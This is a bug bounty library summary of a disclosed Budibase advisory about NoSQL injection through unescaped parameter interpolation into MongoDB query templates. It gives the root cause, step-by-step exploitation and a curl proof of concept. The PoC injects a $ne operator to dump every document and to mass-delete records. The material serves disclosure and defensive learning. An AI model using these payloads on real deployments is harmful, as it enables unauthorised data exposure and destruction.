# Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution

Budibase interpolates query parameters into JSON templates with noEscaping, letting any app user inject MongoDB operators like $ne to read or delete all documents.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: offset
- Disclosed: 2026-07-24
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qw6m-8fw2-2v64
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qw6m-8fw2-2v64
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:nosqli

**Target:** MongoDB query execution endpoint POST /api/v2/queries/:queryId
**Root cause:** enrichContext() interpolates parameter values into JSON query templates via Handlebars with noEscaping:true, then JSON.parse()s the result; validateQueryInputs() only blocks {{}} blocks, not JSON metacharacters, so injected quotes/braces restructure the query object.
**Steps:**
1. Authenticate as a regular app user via `POST /api/global/auth` and capture the `budibase:auth` cookie.
2. Confirm baseline: `POST /api/v2/queries/query_abc123` with `{"parameters": {"username": "alice"}}` returns only alice's document.
3. Inject operator: send `{"parameters": {"username": "\", \"$ne\": \""}}` so the template `{"username": "{{username}}"}` becomes `{"username": "", "$ne": ""}`, returning all documents.
4. Against a saved delete query, send the same injected parameter to `deleteMany` and wipe all matching documents.
**How found:** Noticed validation/interpolation misalignment: validateQueryInputs blocks Handlebars syntax but not JSON structural characters, and enrichContext uses noEscaping:true before JSON.parse, plus the execute endpoint lacks the Joi schema present on save/preview.
**Exploitation:** Any user holding QUERY WRITE (standard app-level permission, not builder/admin) executes a saved MongoDB query with a crafted parameter value; the injected JSON metacharacters broaden the filter to $ne, dumping, bulk-modifying via updateMany, or deleting via deleteMany arbitrary documents.
**Escalation:** Cross-tenant/user data exposure since broadened filters bypass per-user query scoping; delete-type queries turn read primitive into mass destruction.
**Insight:** When a template engine renders into a structured format (JSON/SQL) and escaping is disabled, check whether the pre-render validator blocks the target format's metacharacters, not just the template engine's own syntax; also compare validation coverage across sibling endpoints (save/preview vs execute).

## Proof of concept (copied exactly from the original report)

**Injected NoSQL operator dumps all documents**

```
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]

**Step 3: Inject NoSQL operator to dump all documents**
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
```

**Delete query with injected filter**

```
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
```

